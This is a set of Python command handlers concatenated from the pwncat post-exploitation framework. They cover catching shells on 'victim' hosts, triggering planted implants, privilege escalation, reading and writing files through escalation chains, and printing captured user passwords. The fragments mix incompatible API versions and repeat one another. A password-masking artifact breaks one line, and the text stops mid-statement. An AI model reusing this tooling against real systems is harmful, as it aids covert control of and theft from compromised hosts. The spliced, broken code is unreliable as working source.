def run(self, args): if args.action == "install": pwncat.victim.bootstrap_busybox(args.url) elif args.action == "list": if pwncat.victim.host.busybox is None: console.log( "[red]error[/red]: " "busybox is not installed (hint: run 'busybox --install')") return # Find all binaries which are provided by busybox provides = pwncat.victim.session.query(pwncat.db.Binary).filter( pwncat.db.Binary.path.contains(pwncat.victim.host.busybox), pwncat.db.Binary.host_id == pwncat.victim.host.id, ) for binary in provides: console.print(f" - {binary.name}") elif args.action == "status": if pwncat.victim.host.busybox is None: console.log( "[red]error[/red]: busybox hasn't been installed yet") return console.log( f"busybox is installed to: [blue]{pwncat.victim.host.busybox}[/blue]" ) # Find all binaries which are provided from busybox nprovides = (pwncat.victim.session.query(pwncat.db.Binary).filter( pwncat.db.Binary.path.contains(pwncat.victim.host.busybox), pwncat.db.Binary.host_id == pwncat.victim.host.id, ).with_entities(func.count()).scalar()) console.log(f"busybox provides [green]{nprovides}[/green] applets")
def run(self, manager: "pwncat.manager.Manager", args): if args.topic: for command in manager.parser.commands: if command.PROG == args.topic: if command.parser is not None: command.parser.print_help() else: console.print(textwrap.dedent(command.__doc__).strip()) break else: table = Table( Column("Command", style="green"), Column("Description", no_wrap=True), box=rich.box.SIMPLE, ) for command in manager.parser.commands: doc = command.__doc__ if doc is None: doc = "" else: doc = textwrap.shorten( textwrap.dedent(doc).strip().replace("\n", ""), 60) table.add_row(command.PROG, doc) console.print(table)
def run(self, manager: "pwncat.manager.Manager", args): modules = list(manager.target.find_module(f"*{args.module}*")) min_width = max( len(module.name.removeprefix("agnostic.")) for module in modules) table = Table( Column(header="Name", style="cyan", min_width=min_width), Column(header="Description"), title="Results", box=box.MINIMAL_DOUBLE_HEAD, expand=True, ) for module in modules: # Rich will ellipsize the column, but we need to squeze # white space and remove newlines. `textwrap.shorten` is # the easiest way to do that, so we use a large size for # width. description = module.__doc__ if module.__doc__ is not None else "" module_name = module.name.removeprefix("agnostic.") if self.manager.target is not None: module_name = module_name.removeprefix( self.manager.target.platform.name + ".") table.add_row( f"[cyan]{module_name}[/cyan]", textwrap.shorten(description.replace("\n", " "), width=80, placeholder="..."), ) console.print(table)
def run(self, manager, args): if args.key is None: for key, binding in manager.config.bindings.items(): console.print(f" [cyan]{key}[/cyan] = [yellow]{repr(binding)}[/yellow]") elif args.key is not None and args.script is None: if args.key in manager.config.bindings: del manager.config.bindings[args.key] else: manager.config.bindings[args.key] = args.script
def run(self, args): if args.module is None and pwncat.config.module is None: console.log("[red]error[/red]: no module specified") return elif args.module is None: args.module = pwncat.config.module.name # Parse key=value pairs values = {} for arg in args.args: if "=" not in arg: values[arg] = True else: name, value = arg.split("=") values[name] = value # pwncat.config.locals.update(values) config_values = pwncat.config.locals.copy() config_values.update(values) try: result = pwncat.modules.run(args.module, **config_values) pwncat.config.back() except pwncat.modules.ModuleFailed as exc: if args.traceback: console.print_exception() else: console.log(f"[red]error[/red]: module failed: {exc}") return except pwncat.modules.ModuleNotFound: console.log(f"[red]error[/red]: {args.module}: not found") return except pwncat.modules.ArgumentFormatError as exc: console.log(f"[red]error[/red]: {exc}: invalid argument") return except pwncat.modules.MissingArgument as exc: console.log(f"[red]error[/red]: missing argument: {exc}") return except pwncat.modules.InvalidArgument as exc: console.log(f"[red]error[/red]: invalid argument: {exc}") return if args.raw: console.print(result) else: if result is None or (isinstance(result, list) and not result): console.log( f"Module [bold]{args.module}[/bold] completed successfully" ) return if not isinstance(result, list): result = [result] self.display_item(title=args.module, results=result)
def run(self, args): if args.topic: for command in pwncat.victim.command_parser.commands: if command.PROG == args.topic: if command.parser is not None: command.parser.print_help() else: console.print(textwrap.dedent(command.__doc__).strip()) break else: for command in pwncat.victim.command_parser.commands: console.print(f" - {command.PROG}")
def run(self, manager, args): if args.alias is None: for name, command in manager.parser.aliases.items(): console.print( f" [cyan]{name}[/cyan] \u2192 [yellow]{command.PROG}[/yellow]" ) elif args.command is not None: # This is safe because of "choices" in the argparser manager.parser.aliases[args.alias] = [ c for c in manager.parser.commands if c.PROG == args.command ][0] else: del manager.parser.aliases[args.alias]
def run(self, manager: "pwncat.manager.Manager", args): if args.list or (not args.kill and args.session_id is None): table = Table(title="Active Sessions", box=box.MINIMAL_DOUBLE_HEAD) table.add_column("ID") table.add_column("User") table.add_column("Host ID") table.add_column("Platform") table.add_column("Type") table.add_column("Address") for session_id, session in manager.sessions.items(): ident = str(session_id) kwargs = {"style": ""} if session is manager.target: ident = "*" + ident kwargs["style"] = "underline" table.add_row( str(ident), session.current_user().name, str(session.hash), session.platform.name, str(type(session.platform.channel).__name__), str(session.platform.channel), **kwargs, ) console.print(table) return if args.session_id is None: console.log("[red]error[/red]: no session id specified") return # check if a session with the provided ``session_id`` exists or not if args.session_id not in manager.sessions: console.log(f"[red]error[/red]: {args.session_id}: no such session!") return session = manager.sessions[args.session_id] if args.kill: channel = str(session.platform.channel) session.close() console.log(f"session-{args.session_id} ({channel}) closed") return manager.target = session console.log(f"targeting session-{args.session_id} ({session.platform.channel})")
def run(self, args): if args.password: if args.variable is None: found = False for name, user in pwncat.victim.users.items(): if user.password is not None: console.print( f" - [green]{user}[/green] -> [red]{repr(user.password)}[/red]" ) found = True if not found: console.log( "[yellow]warning[/yellow]: no known user passwords") else: if args.variable not in pwncat.victim.users: self.parser.error(f"{args.variable}: no such user") console.print( f" - [green]{args.variable}[/green] -> [red]{repr(args.value)}[/red]" ) pwncat.victim.users[args.variable].password = args.value else: if (args.variable is not None and args.variable == "state" and args.value is not None): try: pwncat.victim.state = State._member_map_[ args.value.upper()] except KeyError: console.log( f"[red]error[/red]: {args.value}: invalid state") elif args.variable is not None and args.value is not None: try: pwncat.victim.config[args.variable] = args.value if args.variable == "db": # We handle this specially to ensure the database is available # as soon as this config is set pwncat.victim.engine = create_engine( pwncat.victim.config["db"], echo=False) pwncat.db.Base.metadata.create_all( pwncat.victim.engine) # Create the session_maker and default session if pwncat.victim.session is None: pwncat.victim.session_maker = sessionmaker( bind=pwncat.victim.engine) pwncat.victim.session = pwncat.victim.session_maker( ) except ValueError as exc: console.log(f"[red]error[/red]: {exc}") elif args.variable is not None: value = pwncat.victim.config[args.variable] console.print( f" [cyan]{args.variable}[/cyan] = [yellow]{repr(value)}[/yellow]" ) else: for name in pwncat.victim.config: value = pwncat.victim.config[name] console.print( f" [cyan]{name}[/cyan] = [yellow]{repr(value)}[/yellow]" )
def run(self, args): if args.action == "revert": if args.all: tampers = list(pwncat.victim.tamper) else: try: tampers = [pwncat.victim.tamper[args.tamper]] except KeyError: console.log("[red]error[/red]: invalid tamper id") return self.revert(tampers) else: for ident, tamper in enumerate(pwncat.victim.tamper): console.print(f" [cyan]{ident}[/cyan] - {tamper}")
def run(self, manager, args): if args.password and manager.target is None: manager.log( "[red]error[/red]: active target is required for user interaction" ) return elif args.password: if args.variable is None: found = False for user in manager.target.run("enumerate", types=["user"]): if user.password is not None: console.print( f" - [green]{user.name}[/green] -> [red]{repr(user.password)}[/red]" ) found = True if not found: console.log( "[yellow]warning[/yellow]: no known user passwords") else: user = manager.target.find_user(name=args.variable) if user is None: manager.target.log( "[red]error[/red]: {args.variable}: user not found") return console.print( f" - [green]{args.variable}[/green] -> [red]{repr(args.value)}[/red]" ) user.password = args.value manager.target.db.transaction_manager.commit() else: if args.variable is not None and args.value is not None: try: if manager.sessions and args.variable == "db": raise ValueError( "cannot change database with running session") manager.config.set(args.variable, args.value, getattr(args, "global")) if args.variable == "db": # Ensure the database is re-opened, if it was already manager.open_database() except ValueError as exc: console.log(f"[red]error[/red]: {exc}") elif args.variable is not None: value = manager.config[args.variable] console.print( f" [cyan]{args.variable}[/cyan] = [yellow]{repr(value)}[/yellow]" ) else: for name in manager.config: value = manager.config[name] console.print( f" [cyan]{name}[/cyan] = [yellow]{repr(value)}[/yellow]" )
def list_abilities(self, manager, args): """This is just a wrapper for `run enumerate types=escalate.*`, but it makes the workflow for escalation more apparent.""" found = False if args.user: args.user = manager.target.find_user(name=args.user) for escalation in manager.target.run("enumerate", types=["escalate.*"]): if args.user and args.user.id != escalation.uid: continue console.print(f"- {escalation.title(manager.target)}") found = True if not found and args.user: console.log( f"[yellow]warning[/yellow]: no direct escalations for {args.user.name}" ) elif not found: console.log("[yellow]warning[/yellow]: no direct escalations found")
def show_facts(self, typ: str, provider: str, long: bool): """ Display known facts matching the criteria """ data: Dict[str, Dict[str, List[pwncat.db.Fact]]] = {} types = typ if isinstance(typ, list) else [typ] with Progress( "enumerating facts", "•", "[cyan]{task.fields[status]}", transient=True, console=console, ) as progress: task = progress.add_task("", status="initializing") for typ in types: for fact in pwncat.victim.enumerate.iter( typ, filter=lambda f: provider is None or f.source == provider ): progress.update(task, status=str(fact.data)) if fact.type not in data: data[fact.type] = {} if fact.source not in data[fact.type]: data[fact.type][fact.source] = [] data[fact.type][fact.source].append(fact) for typ, sources in data.items(): for source, facts in sources.items(): console.print( f"[bright_yellow]{typ.upper()}[/bright_yellow] Facts by [blue]{source}[/blue]" ) for fact in facts: console.print(f" {fact.data}") if long and getattr(fact.data, "description", None) is not None: console.print(textwrap.indent(fact.data.description, " "))
def run(self, args): if not args.module and pwncat.config.module is None: console.log("[red]error[/red]: no module specified") return if args.module: try: module = pwncat.modules.find(args.module) except KeyError: console.log(f"[red]error[/red]: {args.module}: no such module") return else: module = pwncat.config.module console.print( f"[bold underline]Module [cyan]{module.name}[/cyan][/bold underline]" ) console.print( textwrap.indent(textwrap.dedent(module.__doc__.strip("\n")), " ") + "\n") table = Table("Argument", "Default", "Help", box=box.MINIMAL_DOUBLE_HEAD) for arg, info in module.ARGUMENTS.items(): if info.default is pwncat.modules.NoValue: default = "" else: default = info.default table.add_row(arg, str(default), info.help) console.print(table)
def run(self, args): table = Table( Column(header="Name", ratio=0.2), Column(header="Description", no_wrap=True, ratio=0.8), title="Results", box=box.MINIMAL_DOUBLE_HEAD, expand=True, ) for module in pwncat.modules.match(f"*{args.module}*"): # Rich will ellipsize the column, but we need to squeze # white space and remove newlines. `textwrap.shorten` is # the easiest way to do that, so we use a large size for # width. description = module.__doc__ if module.__doc__ is not None else "" table.add_row( f"[cyan]{module.name}[/cyan]", textwrap.shorten(description.replace("\n", " "), width=200, placeholder="..."), ) console.print(table)
def run(self, manager: "pwncat.manager.Manager", args): if not args.module and manager.config.module is None: console.log("[red]error[/red]: no module specified") return if args.module: try: module = next(manager.target.find_module(args.module, exact=True)) module_name = args.module except StopIteration: console.log(f"[red]error[/red]: {args.module}: no such module") return else: module = manager.config.module module_name = module.name.removeprefix("agnostic.") if self.manager.target is not None: module_name = module_name.removeprefix( self.manager.target.platform.name + "." ) console.print( f"[bold underline]Module [cyan]{module_name}[/cyan][/bold underline]" ) console.print( textwrap.indent(textwrap.dedent(module.__doc__.strip("\n")), " ") + "\n" ) table = Table("Argument", "Default", "Help", box=box.SIMPLE) for arg, info in module.ARGUMENTS.items(): if info.default is pwncat.modules.NoValue: default = "" else: default = info.default table.add_row(arg, str(default), info.help) console.print(table)
def main(): # Default log-level is "INFO" logging.getLogger().setLevel(logging.INFO) parser = argparse.ArgumentParser( description= """Start interactive pwncat session and optionally connect to existing victim via a known platform and channel type. This entrypoint can also be used to list known implants on previous targets.""" ) parser.add_argument("--version", "-v", action="store_true", help="Show version number and exit") parser.add_argument( "--download-plugins", action="store_true", help="Pre-download all Windows builtin plugins and exit immediately", ) parser.add_argument( "--config", "-c", type=argparse.FileType("r"), default=None, help="Custom configuration file (default: ./pwncatrc)", ) parser.add_argument( "--identity", "-i", type=argparse.FileType("r"), default=None, help="Private key for SSH authentication", ) parser.add_argument( "--listen", "-l", action="store_true", help="Enable the `bind` protocol (supports netcat-style syntax)", ) parser.add_argument( "--platform", "-m", help="Name of the platform to use (default: linux)", default="linux", ) parser.add_argument( "--port", "-p", help="Alternative way to specify port to support netcat-style syntax", ) parser.add_argument( "--list", action="store_true", help="List installed implants with remote connection capability", ) parser.add_argument( "connection_string", metavar="[protocol://][user[:password]@][host][:port]", help="Connection string describing victim", nargs="?", ) parser.add_argument( "pos_port", nargs="?", metavar="port", help="Alternative port number to support netcat-style syntax", ) args = parser.parse_args() # Print the version number and exit. if args.version: print(importlib.metadata.version("pwncat")) return # Create the session manager with pwncat.manager.Manager(args.config) as manager: if args.download_plugins: for plugin_info in pwncat.platform.Windows.PLUGIN_INFO: with pwncat.platform.Windows.open_plugin( manager, plugin_info.provides[0]): pass return if args.list: db = manager.db.open() implants = [] table = Table( "ID", "Address", "Platform", "Implant", "User", box=box.MINIMAL_DOUBLE_HEAD, ) # Locate all installed implants for target in db.root.targets: # Collect users users = {} for fact in target.facts: if "user" in fact.types: users[fact.id] = fact # Collect implants for fact in target.facts: if "implant.remote" in fact.types: table.add_row( target.guid, target.public_address[0], target.platform, fact.source, users[fact.uid].name, ) if not table.rows: console.log("[red]error[/red]: no remote implants found") else: console.print(table) return console.log("Welcome to [red]pwncat[/red] 🐈!") if (args.connection_string is not None or args.pos_port is not None or args.port is not None or args.listen or args.identity is not None): protocol = None user = None password = None host = None port = None if args.connection_string: m = connect.Command.CONNECTION_PATTERN.match( args.connection_string) protocol = m.group("protocol") user = m.group("user") password = m.group("password") host = m.group("host") port = m.group("port") if protocol is not None: protocol = protocol.removesuffix("://") if host is not None and host == "": host = None if protocol is not None and args.listen: console.log( "[red]error[/red]: --listen is not compatible with an explicit connection string" ) return if (sum([ port is not None, args.port is not None, args.pos_port is not None, ]) > 1): console.log("[red]error[/red]: multiple ports specified") return if args.port is not None: port = args.port if args.pos_port is not None: port = args.pos_port if port is not None: try: port = int(port.lstrip(":")) except ValueError: console.log( f"[red]error[/red]: {port}: invalid port number") return # Attempt to reconnect via installed implants if (protocol is None and password is None and port is None and args.identity is None): db = manager.db.open() implants = [] # Locate all installed implants for target in db.root.targets: if target.guid != host and target.public_address[0] != host: continue # Collect users users = {} for fact in target.facts: if "user" in fact.types: users[fact.id] = fact # Collect implants for fact in target.facts: if "implant.remote" in fact.types: implants.append((target, users[fact.uid], fact)) with Progress( "triggering implant", "•", "{task.fields[status]}", transient=True, console=console, ) as progress: task = progress.add_task("", status="...") for target, implant_user, implant in implants: # Check correct user if user is not None and implant_user.name != user: continue # Check correct platform if (args.platform is not None and target.platform != args.platform): continue progress.update( task, status=f"trying [cyan]{implant.source}[/cyan]") # Attempt to trigger a new session try: session = implant.trigger(manager, target) manager.target = session used_implant = implant break except ModuleFailed: db.transaction_manager.commit() continue if manager.target is not None: manager.target.log( f"connected via {used_implant.title(manager.target)}") else: try: manager.create_session( platform=args.platform, protocol=protocol, user=user, password=password, host=host, port=port, identity=args.identity, ) except (ChannelError, PlatformError) as exc: manager.log(f"connection failed: {exc}") manager.interactive() if manager.sessions: with Progress( SpinnerColumn(), "closing sessions", "•", "{task.fields[status]}", console=console, transient=True, ) as progress: task = progress.add_task("task", status="...") # Retrieve the existing session IDs list session_ids = list(manager.sessions.keys()) # Close each session based on its ``session_id`` for session_id in session_ids: progress.update(task, status=str( manager.sessions[session_id].platform)) manager.sessions[session_id].close() progress.update(task, status="done!", completed=100)
def run(self, args): if args.services: for service in pwncat.victim.services: if service.running: console.print( f"[green]{service.name}[/green] - {service.description}" ) else: console.print(f"[red]{service.name}[/red] - {service.description}") else: console.print(f"Host ID: [cyan]{pwncat.victim.host.hash}[/cyan]") console.print( f"Remote Address: [green]{pwncat.victim.client.getpeername()}[/green]" ) console.print(f"Architecture: [red]{pwncat.victim.host.arch}[/red]") console.print(f"Kernel Version: [red]{pwncat.victim.host.kernel}[/red]") console.print(f"Distribution: [red]{pwncat.victim.host.distro}[/red]") console.print(f"Init System: [blue]{pwncat.victim.host.init}[/blue]")
def run(self, args): if args.action == "list": techniques = pwncat.victim.privesc.search(args.user, exclude=args.exclude) if len(techniques) == 0: console.log("no techniques found") else: for tech in techniques: color = "green" if tech.user == "root" else "green" console.print( f" - [magenta]{tech.get_cap_name()}[/magenta] " f"as [{color}]{tech.user}[/{color}] " f"via {tech.method.get_name(tech)}" ) elif args.action == "read": if not args.path: self.parser.error("missing required argument: --path") try: read_pipe, chain, technique = pwncat.victim.privesc.read_file( args.path, args.user, args.max_depth ) console.log(f"file [green]opened[/green] with {technique}") # Read the data from the pipe shutil.copyfileobj(read_pipe, sys.stdout.buffer) read_pipe.close() # Unwrap in case we had to privesc to get here pwncat.victim.privesc.unwrap(chain) except privesc.PrivescError as exc: console.log(f"file write [red]failed[/red]") elif args.action == "write": # Make sure the correct arguments are present if not args.path: self.parser.error("missing required argument: --path") if not args.data: self.parser.error("missing required argument: --data") # Read in the data file try: with open(args.data, "rb") as f: data = f.read() except (PermissionError, FileNotFoundError): console.log(f"{args.data}: no such file or directory") try: # Attempt to write the data to the remote file chain = pwncat.victim.privesc.write_file( args.path, data, target_user=args.user, depth=args.max_depth, ) pwncat.victim.privesc.unwrap(chain) console.log("file write [green]succeeded[/green]") except privesc.PrivescError as exc: console.log(f"file write [red]failed[/red]: {exc}") elif args.action == "escalate": try: chain = pwncat.victim.privesc.escalate( args.user, depth=args.max_depth, exclude=args.exclude ) console.log("privilege escalation succeeded using:") for i, (technique, _) in enumerate(chain): arrow = f"[yellow]\u2ba1[/yellow] " console.log(f"{(i+1)*' '}{arrow}{technique}") ident = pwncat.victim.id if ident["euid"]["id"] == 0 and ident["uid"]["id"] != 0: pwncat.victim.command_parser.dispatch_line("euid_fix") pwncat.victim.reset() pwncat.victim.state = State.RAW except privesc.PrivescError as exc: console.log(f"privilege escalation [red]failed[/red]: {exc}")
def run(self, manager: "pwncat.manager.Manager", args): protocol = None user = None password = None host = None port = None used_implant = None if args.list: db = manager.db.open() implants = [] table = Table( "ID", "Address", "Platform", "Implant", "User", box=box.MINIMAL_DOUBLE_HEAD, ) # Locate all installed implants for target in db.root.targets: # Collect users users = {} for fact in target.facts: if "user" in fact.types: users[fact.id] = fact # Collect implants for fact in target.facts: if "implant.remote" in fact.types: table.add_row( target.guid, target.public_address[0], target.platform, fact.source, users[fact.uid].name, ) if not table.rows: console.log("[red]error[/red]: no remote implants found") else: console.print(table) return if args.connection_string: m = self.CONNECTION_PATTERN.match(args.connection_string) protocol = m.group("protocol") user = m.group("user") password = m.group("password") host = m.group("host") port = m.group("port") if protocol is not None: protocol = protocol.removesuffix("://") if host is not None and host == "": host = None if protocol is not None and args.listen: console.log( "[red]error[/red]: --listen is not compatible with an explicit connection string" ) return if ( sum( [ port is not None, args.port is not None, args.pos_port is not None, ] ) > 1 ): console.log("[red]error[/red]: multiple ports specified") return if args.port is not None: port = args.port if args.pos_port is not None: port = args.pos_port if port is not None: try: port = int(port.lstrip(":")) except ValueError: console.log(f"[red]error[/red]: {port}: invalid port number") return # Attempt to reconnect via installed implants if ( protocol is None and password is None and port is None and args.identity is None ): db = manager.db.open() implants = [] # Locate all installed implants for target in db.root.targets: if target.guid != host and target.public_address[0] != host: continue # Collect users users = {} for fact in target.facts: if "user" in fact.types: users[fact.id] = fact # Collect implants for fact in target.facts: if "implant.remote" in fact.types: implants.append((target, users[fact.uid], fact)) with Progress( "triggering implant", "•", "{task.fields[status]}", transient=True, console=console, ) as progress: task = progress.add_task("", status="...") for target, implant_user, implant in implants: # Check correct user if user is not None and implant_user.name != user: continue # Check correct platform if args.platform is not None and target.platform != args.platform: continue progress.update( task, status=f"trying [cyan]{implant.source}[/cyan]" ) # Attempt to trigger a new session try: session = implant.trigger(manager, target) manager.target = session used_implant = implant break except (ChannelError, PlatformError, ModuleFailed): continue if used_implant is not None: manager.target.log(f"connected via {used_implant.title(manager.target)}") else: try: manager.create_session( platform=args.platform, protocol=protocol, user=user, password=password, host=host, port=port, identity=args.identity, ) except (ChannelError, PlatformError) as exc: manager.log(f"connection failed: {exc}")
def run(self, session, remove, escalate): """Perform the requested action""" if (not remove and not escalate) or (remove and escalate): raise ModuleFailed("expected one of escalate or remove") # Look for matching implants implants = list( implant for implant in session.run("enumerate", types=["implant.*"]) if not escalate or "implant.replace" in implant.types or "implant.spawn" in implant.types) try: session._progress.stop() console.print("Found the following implants:") for i, implant in enumerate(implants): console.print(f"{i+1}. {implant.title(session)}") if remove: prompt = "Which should we remove (e.g. '1 2 4', default: all)? " elif escalate: prompt = "Which should we attempt escalation with (e.g. '1 2 4', default: all)? " while True: selections = Prompt.ask(prompt, console=console) if selections == "": break try: implant_ids = [int(idx.strip()) for idx in selections] # Filter the implants implants: List[Implant] = [ implants[i - 1] for i in implant_ids ] break except (IndexError, ValueError): console.print("[red]error[/red]: invalid selection!") finally: session._progress.start() nremoved = 0 for implant in implants: if remove: try: yield Status(f"removing: {implant.title(session)}") implant.remove(session) session.target.facts.remove(implant) nremoved += 1 except KeepImplantFact: # Remove implant types but leave the fact implant.types.remove("implant.remote") implant.types.remove("implant.replace") implant.types.remove("implant.spawn") nremoved += 1 except ModuleFailed: session.log( f"[red]error[/red]: removal failed: {implant.title(session)}" ) elif escalate: try: yield Status( f"attempting escalation with: {implant.title(session)}" ) result = implant.escalate(session) if "implant.spawn" in implant.types: # Move to the newly established session session.manager.target = result else: # Track the new shell layer in the current session session.layers.append(result) session.platform.refresh_uid() session.log( f"escalation [green]succeeded[/green] with: {implant.title(session)}" ) break except ModuleFailed: continue else: if escalate: raise ModuleFailed( "no working local escalation implants found") if nremoved: session.log(f"removed {nremoved} implants from target") # Save database modifications session.db.transaction_manager.commit()
def display_item(self, manager, title, results): """Display a possibly complex item""" console.print( f"[bold underline]Module '{title}' Results[/bold underline]") # Uncategorized or raw results categories = {} uncategorized = [] longform = [] # Organize results by category for result in results: if isinstance(result, pwncat.modules.Result) and result.is_long_form( manager.target): longform.append(result) elif (not isinstance(result, pwncat.modules.Result) or result.category(manager.target) is None): uncategorized.append(result) elif result.category(manager.target) not in categories: categories[result.category(manager.target)] = [result] else: categories[result.category(manager.target)].append(result) # Show uncategorized results first if uncategorized: console.print("[bold]Uncategorized Results[/bold]") for result in uncategorized: console.print("- " + result.title(manager.target)) # Show all other categories if categories: for category, results in categories.items(): console.print(f"[bold]{category}[/bold]") for result in results: console.print(f" - {result.title(manager.target)}") # Show long-form results in their own sections if longform: for result in longform: if result.category(manager.target) is None: console.print( f"[bold]{result.title(manager.target)}[/bold]") else: console.print( f"[bold]{result.category(manager.target)} - {result.title(manager.target)}[/bold]" ) console.print( textwrap.indent(result.description(manager.target), " "))
def run(self, args): if pwncat.victim.client is not None: console.log("connection [red]already active[/red]") return if args.config: try: # Load the configuration with open(args.config, "r") as filp: pwncat.victim.command_parser.eval(filp.read(), args.config) except OSError as exc: console.log(f"[red]error[/red]: {exc}") return if args.action == "none": # No action was provided, and no connection was made in the config if pwncat.victim.client is None: self.parser.print_help() return if args.action == "listen": if not args.host: args.host = "0.0.0.0" with Progress( f"bound to [blue]{args.host}[/blue]:[cyan]{args.port}[/cyan]", BarColumn(bar_width=None), ) as progress: task_id = progress.add_task("listening", total=1, start=False) # Create the socket server server = socket.create_server((args.host, args.port), reuse_port=True) try: # Wait for a connection (client, address) = server.accept() except KeyboardInterrupt: progress.update(task_id, visible=False) progress.log("[red]aborting[/red] listener") return progress.update(task_id, visible=False) progress.log( f"[green]received[/green] connection from [blue]{address[0]}[/blue]:[cyan]{address[1]}[/cyan]" ) pwncat.victim.connect(client) elif args.action == "connect": if not args.host: console.log("[red]error[/red]: no host address provided") return with Progress( f"connecting to [blue]{args.host}[/blue]:[cyan]{args.port}[/cyan]", BarColumn(bar_width=None), ) as progress: task_id = progress.add_task("connecting", total=1, start=False) # Connect to the remote host client = socket.create_connection((args.host, args.port)) progress.update(task_id, visible=False) progress.log( f"connection to " f"[blue]{args.host}[/blue]:[cyan]{args.port}[/cyan] [green]established[/green]" ) pwncat.victim.connect(client) elif args.action == "ssh": if not args.port: args.port = 22 if not args.user: self.parser.error("you must specify a user") if not (args.password or args.identity): self.parser.error( "either a password or identity file is required") try: # Connect to the remote host's ssh server sock = socket.create_connection((args.host, args.port)) except Exception as exc: console.log(f"[red]error[/red]: {str(exc)}") return # Create a paramiko SSH transport layer around the socket t = paramiko.Transport(sock) try: t.start_client() except paramiko.SSHException: sock.close() console.log("[red]error[/red]: ssh negotiation failed") return if args.identity: try: # Load the private key for the user key = paramiko.RSAKey.from_private_key_file(args.identity) except: password = prompt("RSA Private Key Passphrase: ", is_password=True) key = paramiko.RSAKey.from_private_key_file( args.identity, password) # Attempt authentication try: t.auth_publickey(args.user, key) except paramiko.ssh_exception.AuthenticationException as exc: console.log( f"[red]error[/red]: authentication failed: {exc}") else: try: t.auth_password(args.user, args.password) except paramiko.ssh_exception.AuthenticationException as exc: console.log( f"[red]error[/red]: authentication failed: {exc}") if not t.is_authenticated(): t.close() sock.close() return # Open an interactive session chan = t.open_session() chan.get_pty() chan.invoke_shell() # Initialize the session! pwncat.victim.connect(chan) elif args.action == "reconnect": if not args.host: self.parser.error( "host address or hash is required for reconnection") try: addr = ipaddress.ip_address(args.host) host = (pwncat.victim.session.query( pwncat.db.Host).filter_by(ip=str(addr)).first()) if host is None: console.log( f"[red]error[/red]: {args.host}: not found in database" ) return host_hash = host.hash except ValueError: host_hash = args.host # Reconnect to the given host try: pwncat.victim.reconnect(host_hash, args.method, args.user) except PersistenceError as exc: console.log(f"[red]error[/red]: {args.host}: {exc}") return elif args.action == "list": if pwncat.victim.session is not None: for host in pwncat.victim.session.query(pwncat.db.Host): if len(host.persistence) == 0: continue console.print( f"[magenta]{host.ip}[/magenta] - [red]{host.distro}[/red] - [yellow]{host.hash}[/yellow]" ) for p in host.persistence: console.print( f" - [blue]{p.method}[/blue] as [green]{p.user if p.user else 'system'}[/green]" ) else: console.log(f"[red]error[/red]: {args.action}: invalid action")
def print(self, *args, **kwargs): if self.target is not None and self.target._progress is not None: self.target._progress.print(*args, **kwargs) else: console.print(*args, **kwargs)
def run(self, args): protocol = None user = None password = None host = None port = None try_reconnect = False if not args.config and os.path.exists("./pwncatrc"): args.config = "./pwncatrc" elif not args.config and os.path.exists("./data/pwncatrc"): args.config = "./data/pwncatrc" if args.config: try: # Load the configuration with open(args.config, "r") as filp: pwncat.victim.command_parser.eval(filp.read(), args.config) except OSError as exc: console.log(f"[red]error[/red]: {exc}") return if args.list: # Grab a list of installed persistence methods for all hosts # persist.gather will retrieve entries for all hosts if no # host is currently connected. modules = list(pwncat.modules.run("persist.gather")) # Create a mapping of host hash to host object and array of # persistence methods hosts = { host.hash: (host, []) for host in pwncat.victim.session.query(pwncat.db.Host).all() } for module in modules: hosts[module.persist.host.hash][1].append(module) for host_hash, (host, modules) in hosts.items(): console.print(f"[magenta]{host.ip}[/magenta] - " f"[red]{host.distro}[/red] - " f"[yellow]{host_hash}[/yellow]") for module in modules: console.print(f" - {str(module)}") return if args.connection_string: m = self.CONNECTION_PATTERN.match(args.connection_string) protocol = m.group("protocol") user = m.group("user") password = m.group("password") host = m.group("host") port = m.group("port") if protocol is not None and args.listen: console.log( f"[red]error[/red]: --listen is not compatible with an explicit connection string" ) return if (sum([ port is not None, args.port is not None, args.pos_port is not None ]) > 1): console.log(f"[red]error[/red]: multiple ports specified") return if args.port is not None: port = args.port if args.pos_port is not None: port = args.pos_port if port is not None: try: port = int(port.lstrip(":")) except: console.log(f"[red]error[/red]: {port}: invalid port number") return # Attempt to assume a protocol based on context if protocol is None: if args.listen: protocol = "bind://" elif args.port is not None: protocol = "connect://" elif user is not None: protocol = "ssh://" try_reconnect = True elif host == "" or host == "0.0.0.0": protocol = "bind://" elif args.connection_string is None: self.parser.print_help() return else: protocol = "connect://" try_reconnect = True if protocol != "ssh://" and args.identity is not None: console.log( f"[red]error[/red]: --identity is only valid for ssh protocols" ) return if pwncat.victim.client is not None: console.log("connection [red]already active[/red]") return if protocol == "reconnect://" or try_reconnect: level = "[yellow]warning[/yellow]" if try_reconnect else "[red]error[/red]" try: addr = ipaddress.ip_address(socket.gethostbyname(host)) row = (pwncat.victim.session.query( pwncat.db.Host).filter_by(ip=str(addr)).first()) if row is None: console.log(f"{level}: {str(addr)}: not found in database") host_hash = None else: host_hash = row.hash except ValueError: host_hash = host # Reconnect to the given host if host_hash is not None: try: pwncat.victim.reconnect(host_hash, password, user) return except Exception as exc: console.log(f"{level}: {host}: {exc}") if protocol == "reconnect://" and not try_reconnect: # This means reconnection failed, and we had an explicit # reconnect protocol return if protocol == "bind://": if not host or host == "": host = "0.0.0.0" if port is None: console.log(f"[red]error[/red]: no port specified") return with Progress( f"bound to [blue]{host}[/blue]:[cyan]{port}[/cyan]", BarColumn(bar_width=None), transient=True, ) as progress: task_id = progress.add_task("listening", total=1, start=False) # Create the socket server server = socket.create_server((host, port), reuse_port=True) try: # Wait for a connection (client, address) = server.accept() except KeyboardInterrupt: progress.update(task_id, visible=False) progress.log("[red]aborting[/red] listener") return progress.update(task_id, visible=False) progress.log( f"[green]received[/green] connection from [blue]{address[0]}[/blue]:[cyan]{address[1]}[/cyan]" ) pwncat.victim.connect(client) elif protocol == "connect://": if not host: console.log("[red]error[/red]: no host address provided") return if port is None: console.log(f"[red]error[/red]: no port specified") return with Progress( f"connecting to [blue]{host}[/blue]:[cyan]{port}[/cyan]", BarColumn(bar_width=None), transient=True, ) as progress: task_id = progress.add_task("connecting", total=1, start=False) # Connect to the remote host client = socket.create_connection((host, port)) progress.update(task_id, visible=False) progress.log( f"connection to " f"[blue]{host}[/blue]:[cyan]{port}[/cyan] [green]established[/green]" ) pwncat.victim.connect(client) elif protocol == "ssh://": if port is None: port = 22 if not user or user is None: self.parser.error("you must specify a user") if not (password or args.identity): password = prompt("Password: "******"[red]error[/red]: {str(exc)}") return # Create a paramiko SSH transport layer around the socket t = paramiko.Transport(sock) try: t.start_client() except paramiko.SSHException: sock.close() console.log("[red]error[/red]: ssh negotiation failed") return if args.identity: try: # Load the private key for the user key = 